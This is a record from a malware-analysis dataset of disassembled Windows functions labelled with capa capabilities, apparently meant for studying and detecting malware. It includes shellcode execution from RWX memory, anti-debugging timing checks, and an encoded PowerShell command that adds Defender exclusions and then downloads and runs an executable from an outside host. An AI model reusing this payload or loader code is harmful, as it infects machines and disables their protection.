joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4014c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
push esi
lea eax, [esp + 4]
push eax
xor esi, esi
push 0x4274e4
push esi
mov dword [esp + 0x10], esi
call sub.KERNEL32.dll_GetModuleHandleExA
test eax, eax
je 0x40151f
mov ecx, dword [esp + 4]
push edi
push str.VirtualAllocExNuma
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [esp + 0x14]
push esi
push 0x40
push 0x3000
push edi
push esi
mov dword [0x4322b4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x4322b4]
mov edx, dword [esp + 0x10]
push edi
mov esi, eax
push edx
push esi
call fcn.0040fca0
add esp, 0xc
pop edi
mov eax, esi
pop esi
pop ecx
ret

Function at 0x402620
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0xc
cmp dword [esp + 0x14], 0
mov eax, dword [esp + 0x18]
mov cl, byte [eax]
mov dl, byte [eax + 1]
mov dword [esp + 8], 0
jle 0x402762
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
movzx ebp, cl
movzx ebx, dl
nop
lea eax, [ebp + 1]
cdq
mov ecx, 0x11d
idiv ecx
mov edi, dword [0x4322bc]
movzx ebp, dl
movzx eax, byte [edi + ebp]
lea ecx, [edi + ebp]
add eax, ebx
mov byte [esp + 0x12], dl
cdq
mov ebx, 0x11d
idiv ebx
movzx ebx, dl
lea eax, [ebx + edi]
mov byte [esp + 0x13], dl
call fcn.004014b0
mov ecx, dword [0x4322bc]
movzx edx, byte [ecx + ebp]
movzx eax, byte [ebx + ecx]
add eax, edx
cdq
mov ecx, 0x11d
idiv ecx
mov byte [esp + 0x11], dl
call esi
call esi
call esi
call esi
call esi
call esi
call esi
push 0x427480
push 0x434c58
call fcn.004022e0
add esp, 8
mov edi, eax
push 0xa
mov ecx, edi
call fcn.004024f0
mov edx, dword [edi]
mov eax, dword [edx + 4]
add eax, edi
test byte [eax + 8], 6
mov dword [esp + 0x14], 0
jne 0x4026fd
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x4026fd
mov dword [esp + 0x14], 4
mov ecx, dword [edi]
mov ecx, dword [ecx + 4]
mov edx, dword [esp + 0x14]
add ecx, edi
test edx, edx
je 0x402722
mov eax, dword [ecx + 8]
or eax, edx
cmp dword [ecx + 0x28], 0
jne 0x40271a
or eax, 4
push 0
push eax
call fcn.00401f40
movzx edx, byte [esp + 0x11]
mov eax, dword [0x4322bc]
mov cl, byte [edx + eax]
mov eax, dword [esp + 0x18]
mov edi, dword [esp + 0x20]
xor byte [eax + edi], cl
inc eax
cmp eax, dword [esp + 0x24]
mov dword [esp + 0x18], eax
jl 0x402650
mov eax, dword [esp + 0x28]
mov dl, byte [esp + 0x12]
mov cl, byte [esp + 0x13]
pop edi
pop esi
pop ebp
mov byte [eax], dl
mov byte [eax + 1], cl
pop ebx
add esp, 0xc
ret
mov byte [eax], cl
mov byte [eax + 1], dl
add esp, 0xc
ret
Function at 0x4029e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4029f9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x402a34
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x402a30
lea ebx, [ebx]
cmp esi, eax
jae 0x402a34
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x402a20
cmp esi, eax
jb 0x402a3a
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x40fac2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x430c30]
jne 0x40facc
repz ret
jmp fcn.004163fc

Function at 0x41c46f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00415de5
and dword [ebp - 4], 0
cmp dword [0x434bc4], 0
mov ebx, eax
jne 0x41c520
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41c5d1
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x42a0d8
push edi
call esi
test eax, eax
je 0x41c5d1
push eax
call fcn.00415d73
mov dword [esp], 0x42a0c8
push edi
mov dword [0x434bc4], eax
call esi
push eax
call fcn.00415d73
mov dword [esp], 0x42a0b4
push edi
mov dword [0x434bc8], eax
call esi
push eax
call fcn.00415d73
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x434bcc], eax
call esi
push eax
call fcn.00415d73
pop ecx
mov dword [0x434bd4], eax
test eax, eax
je 0x41c520
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00415d73
pop ecx
mov dword [0x434bd0], eax
mov eax, dword [0x434bd0]
cmp eax, ebx
je 0x41c578
cmp dword [0x434bd4], ebx
je 0x41c578
push eax
call fcn.00415dee
push dword [0x434bd4]
mov esi, eax
call fcn.00415dee
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41c578
test edi, edi
je 0x41c578
call esi
test eax, eax
je 0x41c56f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41c56f
test byte [ebp - 0xc], 1
jne 0x41c578
or dword [ebp + 0x10], 0x200000
jmp 0x41c5b1
mov eax, dword [0x434bc8]
cmp eax, ebx
je 0x41c5b1
push eax
call fcn.00415dee
pop ecx
test eax, eax
je 0x41c5b1
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41c5b1
mov eax, dword [0x434bcc]
cmp eax, ebx
je 0x41c5b1
push eax
call fcn.00415dee
pop ecx
test eax, eax
je 0x41c5b1
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x434bc4]
call fcn.00415dee
pop ecx
test eax, eax
je 0x41c5d1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41c5d3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0
nop
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, str._EncodedCommand__PAAjAHkAcQB3ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAaQB2AHYAIwAACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdAByAHUAIwAACAALQBGAG8AcgBjAGUAIAA8ACMAbABlAG0AIwAADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAHMAaABpAHIAbwBjAGwAbwB1AGQALgB0AGUAYwBoAC8AcwB1AHMAaABpAC4AZQB4AGUAJwAsACAAPAAjAG4AegB1ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAdgBoAHkAIwAACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZABoAGwAIwAACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARgBpAGwAZQAuAGUAeABlACcAKQApADwAIwBoAGIAaQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBmAHEAagAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdQBpAHQAIwAACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARgBpAGwAZQAuAGUAeABlACcAKQA8ACMAZABjAGkAIwAAA_
push eax
mov eax, str.powershell
push eax
mov eax, str.open
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, 0
leave
ret
Function at 0x42b270
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x466f62
mov eax, dword fs:[0]
push eax
sub esp, 0x240
mov eax, dword [0x48700c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov edi, ecx
mov dword [ebp - 0x240], edi
mov dword [ebp - 0x248], edi
push 0x228
mov dword [ebp - 0x24c], edi
lea eax, [ebp - 0x238]
push 0
mov dword [ebp - 0x244], 0
push eax
mov dword [ebp - 0x23c], 0x22c
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x23c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ecx, ecx
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 7
mov word [edi], cx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x244], 1
test eax, eax
je 0x42b374
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
cmp ebx, dword [ebp - 0x234]
je 0x42b340
lea eax, [ebp - 0x23c]
push eax
push esi
call edi
test eax, eax
jne 0x42b322
mov edi, dword [ebp - 0x240]
jmp 0x42b374
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42b350
mov edi, dword [ebp - 0x240]
lea eax, [ebp - 0x218]
sub ecx, edx
sar ecx, 1
push ecx
push eax
mov ecx, edi
call fcn.00409b10
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00461231
mov esp, ebp
pop ebp
ret
Function at 0x42e0b0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x48700c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, ecx
test edi, edi
je 0x42e115
push 0x228
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x230], 0x22c
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x42e115
lea eax, [ebp - 0x230]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x42e127
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00461231
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
mov byte [ebp - 0x231], 0
cmp dword [ebp - 0x228], edi
je 0x42e169
lea eax, [ebp - 0x230]
push eax
push esi
call ebx
test eax, eax
jne 0x42e135
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 0x231]
pop ebx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00461231
mov esp, ebp
pop ebp
ret
push esi
mov byte [ebp - 0x231], 1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x231]
xor ecx, ebp
pop ebx
pop edi
pop esi
call fcn.00461231
mov esp, ebp
pop ebp
ret
Function at 0x42e190
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x467708
mov eax, dword fs:[0]
push eax
sub esp, 0x334
mov eax, dword [0x48700c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x228
lea eax, [ebp - 0x33c]
mov dword [ebp - 4], 0
push 0
push eax
mov dword [ebp - 0x340], 0x22c
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x42e20f
lea eax, [ebp - 0x340]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x42e249
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x42e2e6
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x42e2dc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42e2dc
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
lea ecx, [ebp - 0x110]
cmovae eax, dword [ebp + 8]
push 3
mov dword [ebp - 0x114], ecx
lea ecx, [ebp - 0x114]
push eax
call fcn.00433500
push dword [ebp - 0x114]
lea eax, [ebp - 0x31c]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
add esp, 8
lea ecx, [ebp - 0x110]
test eax, eax
mov eax, dword [ebp - 0x114]
sete bl
cmp eax, ecx
je 0x42e2aa
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
test bl, bl
jne 0x42e2ca
lea eax, [ebp - 0x340]
push eax
push esi
call edi
test eax, eax
jne 0x42e250
push esi
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x42e211
mov ebx, dword [ebp - 0x338]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x42e211
push edx
push ecx
call fcn.00461242
add esp, 8
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00461231
mov esp, ebp
pop ebp
ret
Function at 0x42e310
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x467743
mov eax, dword fs:[0]
push eax
sub esp, 0x26c
mov eax, dword [0x48700c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov esi, ecx
mov dword [ebp - 0x25c], esi
xor eax, eax
mov dword [ebp - 0x25c], esi
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
push 0x228
mov dword [ebp - 4], eax
push eax
lea eax, [ebp - 0x254]
mov dword [ebp - 0x258], 0x22c
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
jne 0x42e3b9
push 0
mov dword [esi + 0x10], 0
mov ecx, esi
mov dword [esi + 0x14], 0xf
push 0x46ce34
mov byte [esi], 0
call fcn.00403560
jmp 0x42e4da
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x42e414
nop dword [eax + eax]
cmp dword [ebp - 0x250], ebx
je 0x42e3ec
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x42e3d0
jmp 0x42e414
lea ecx, [ebp - 0x234]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42e3f5
sub ecx, edx
lea eax, [ebp - 0x234]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.00409b10
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x278]
call fcn.00406f60
lea eax, [ebp - 0x278]
mov byte [ebp - 4], 1
push eax
push esi
call dword [sym.imp.brbase.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_base::SysWideToNativeMB_class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t___const__]
mov edx, dword [ebp - 0x264]
add esp, 8
cmp edx, 8
jb 0x42e481
mov ecx, dword [ebp - 0x278]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x42e477
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42e477
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00461242
add esp, 8
mov edx, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x268], 0
mov dword [ebp - 0x264], 7
mov word [ebp - 0x278], ax
cmp edx, 8
jb 0x42e4da
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x42e4d0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42e4d0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00461242
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00461231
mov esp, ebp
pop ebp
ret
Function at 0x42faa0
Capabilities:
Get routing table

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x48700c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.IPHLPAPI.DLL_GetIpForwardTable]
lea eax, [ebp - 0x20]
push edi
push 1
xor edi, edi
mov dword [ebp - 0x1c], 0
push eax
push edi
mov byte [ebp - 0x15], 0
mov dword [ebp - 0x20], edi
call esi
push dword [ebp - 0x20]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov ebx, eax
lea eax, [ebp - 0x20]
push 1
push eax
push ebx
call esi
test eax, eax
jne 0x42fb30
xor ecx, ecx
cmp dword [ebx], ecx
jbe 0x42fb20
lea eax, [ebx + 0x28]
cmp dword [eax - 0x24], 0
mov esi, dword [eax - 0x14]
mov edx, dword [eax]
jne 0x42fb18
cmp dword [eax - 0x20], 0
jne 0x42fb18
mov byte [ebp - 0x15], 1
test edi, edi
je 0x42fb13
cmp edi, edx
jbe 0x42fb18
mov edi, edx
mov dword [ebp - 0x1c], esi
inc ecx
add eax, 0x38
cmp ecx, dword [ebx]
jb 0x42faf6
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
cmp byte [ebp - 0x15], 0
jne 0x42fb62
xorps xmm0, xmm0
movups xmmword [ebp - 0x14], xmm0
call fcn.0042f820
mov ecx, 2
mov dword [ebp - 0x10], eax
push 0x50
mov word [ebp - 0x14], cx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.IPHLPAPI.DLL_GetBestInterfaceEx]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x1c]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00461231
mov esp, ebp
pop ebp
ret
Function at 0x430420
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
push edi
mov esi, edx
cmp dword [eax + 0x14], 8
jb 0x430432
mov eax, dword [eax]
cmp dword [ecx + 0x14], 8
jb 0x43043a
mov ecx, dword [ecx]
push 0x40
push eax
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfsopen]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x430453
pop edi
xor al, al
pop esi
pop ebp
ret
mov eax, dword [esi + 0x10]
test eax, eax
je 0x430470
cmp dword [esi + 0x14], 0x10
jb 0x430462
mov esi, dword [esi]
push edi
push 1
push eax
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov al, 1
pop edi
pop esi
pop ebp
ret
Function at 0x4319a0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x467d3c
mov eax, dword fs:[0]
push eax
sub esp, 0x19c
push ebx
push esi
push edi
mov eax, dword [0x48700c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xorps xmm0, xmm0
push 1
movlpd qword [ebp - 0x18], xmm0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
cmp dword [0x48b398], 0
mov dword [ebp - 0x1c], eax
jne 0x431ab3
cmp dword [0x48b39c], 0
jne 0x431ab3
push 0x48b398
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
jne 0x431ab3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x476fd0]
mulsd xmm0, qword [0x476f78]
call fcn.00462a20
mov bl, byte [0x48b173]
lea ecx, [ebp - 0xe8]
sub esp, 8
mov esi, eax
mov edi, edx
call fcn.00402c10
mov dword [ebp - 4], 0
lea ecx, [ebp - 0xe8]
mov eax, dword [ebp - 0xe8]
push 0
push 0
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool_]
mov byte [ebp - 0x37], bl
mov dword [ebp - 0x30], 4
mov byte [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
lea eax, [ebp - 0xd8]
mov dword [ebp - 4], 1
push 0x47538c
push eax
call fcn.00403720
add esp, 8
lea ecx, [ebp - 0xe8]
call fcn.0042c650
jmp 0x431bcc
mov edi, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor esi, esi
nop dword [eax + eax]
lea eax, [ebp - 0x28]
push eax
call edi
test eax, eax
jne 0x431b8e
cmp esi, 0xa
je 0x431ae4
inc esi
cmp esi, 0xa
jle 0x431ac0
mov edi, dword [ebp - 0x14]
mov esi, dword [ebp - 0x18]
jmp 0x431bcc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x476fd0]
mulsd xmm0, qword [0x476f78]
call fcn.00462a20
mov bl, byte [0x48b173]
lea ecx, [ebp - 0x1a8]
sub esp, 8
mov esi, eax
mov edi, edx
call fcn.00402c10
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x1a8]
mov eax, dword [ebp - 0x1a8]
push 0
push 0
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool_]
mov byte [ebp - 0xf7], bl
mov dword [ebp - 0xf0], 4
mov byte [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0
lea eax, [ebp - 0x198]
mov dword [ebp - 4], 3
push 0x4753b0
push eax
call fcn.00403720
add esp, 8
lea ecx, [ebp - 0x1a8]
call fcn.0042c650
jmp 0x431bcc
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
call fcn.00462b80
mulsd xmm0, qword [0x476f80]
mov edx, dword [0x48b39c]
mov ecx, dword [0x48b398]
movsd qword [ebp - 0x18], xmm0
call fcn.00462b80
movsd xmm1, qword [ebp - 0x18]
divsd xmm1, xmm0
movaps xmm0, xmm1
call fcn.00462a20
mov esi, eax
mov edi, edx
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
push 0x1f3
push 0xfffffc18
push edi
push esi
call fcn.00462780
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43e630
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x468e73
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x48700c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 0x40
mov dword [ebp - 0x10], 0
call fcn.00461273
mov edi, eax
add esp, 4
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], 0
add esi, 0xffffffc4
mov dword [edi + 0x30], 0x475f04
mov dword [edi + 0x3c], vtable.boost::exception_detail::clone_base.0
mov byte [ebp - 4], 1
mov ecx, edi
push esi
mov dword [ebp - 0x10], 1
call fcn.0043e250
mov dword [ebp - 4], 2
lea edx, [edi + 0x18]
mov eax, dword [edi + 0x30]
mov dword [edi], vtable.boost::exception_detail::clone_impl_struct_boost::exception_detail::error_info_injector_class_boost::uuids::entropy_error__.2.0
mov dword [edx], vtable.boost::exception_detail::clone_impl_struct_boost::exception_detail::error_info_injector_class_boost::uuids::entropy_error__.1.0
mov eax, dword [eax + 4]
mov dword [eax + edi + 0x30], vtable.boost::exception_detail::clone_impl_struct_boost::exception_detail::error_info_injector_class_boost::uuids::entropy_error__.0
mov eax, dword [edi + 0x30]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0xc]
mov dword [ecx + edi + 0x2c], eax
lea eax, [esi + 0x18]
neg esi
sbb esi, esi
and esi, eax
push esi
push edx
call fcn.0042de50
mov eax, dword [edi + 0x30]
add esp, 8
add edi, 0x30
mov eax, dword [eax + 4]
add eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x43e7a0
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x468ebc
mov eax, dword fs:[0]
push eax
sub esp, 0x40
push esi
push edi
mov eax, dword [0x48700c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
push edx
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x10], 0
call fcn.0043e250
mov dword [ebp - 4], 0
mov dword [edi + 0x30], 0x475f04
mov dword [edi + 0x3c], vtable.boost::exception_detail::clone_base.0
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 1
push eax
mov ecx, edi
mov dword [ebp - 0x10], 6
call fcn.0043e250
mov dword [ebp - 4], 3
lea esi, [edi + 0x18]
mov eax, dword [edi + 0x30]
mov dword [edi], vtable.boost::exception_detail::clone_impl_struct_boost::exception_detail::error_info_injector_class_boost::uuids::entropy_error__.2.0
mov dword [esi], vtable.boost::exception_detail::clone_impl_struct_boost::exception_detail::error_info_injector_class_boost::uuids::entropy_error__.1.0
mov eax, dword [eax + 4]
mov dword [eax + edi + 0x30], vtable.boost::exception_detail::clone_impl_struct_boost::exception_detail::error_info_injector_class_boost::uuids::entropy_error__.0
mov eax, dword [edi + 0x30]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0xc]
mov dword [ecx + edi + 0x2c], eax
lea eax, [ebp - 0x30]
push eax
push esi
call fcn.0042de50
mov eax, dword [edi + 0x30]
add esp, 8
mov dword [edi], vtable.boost::wrapexcept_class_boost::uuids::entropy_error_.2.0
mov dword [esi], vtable.boost::wrapexcept_class_boost::uuids::entropy_error_.1.0
mov eax, dword [eax + 4]
mov dword [eax + edi + 0x30], vtable.boost::wrapexcept_class_boost::uuids::entropy_error_.0
mov eax, dword [edi + 0x30]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0xc]
mov dword [ecx + edi + 0x2c], eax
mov dword [ebp - 0x48], vtable.boost::exception_detail::error_info_injector_class_boost::uuids::entropy_error_.1.0
mov dword [ebp - 0x30], vtable.boost::exception.0
mov dword [ebp - 4], 4
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x43e89c
mov eax, dword [ecx]
mov eax, dword [eax + 0x10]
call eax
mov ecx, dword [ebp - 0x2c]
xor edx, edx
test al, al
cmovne ecx, edx
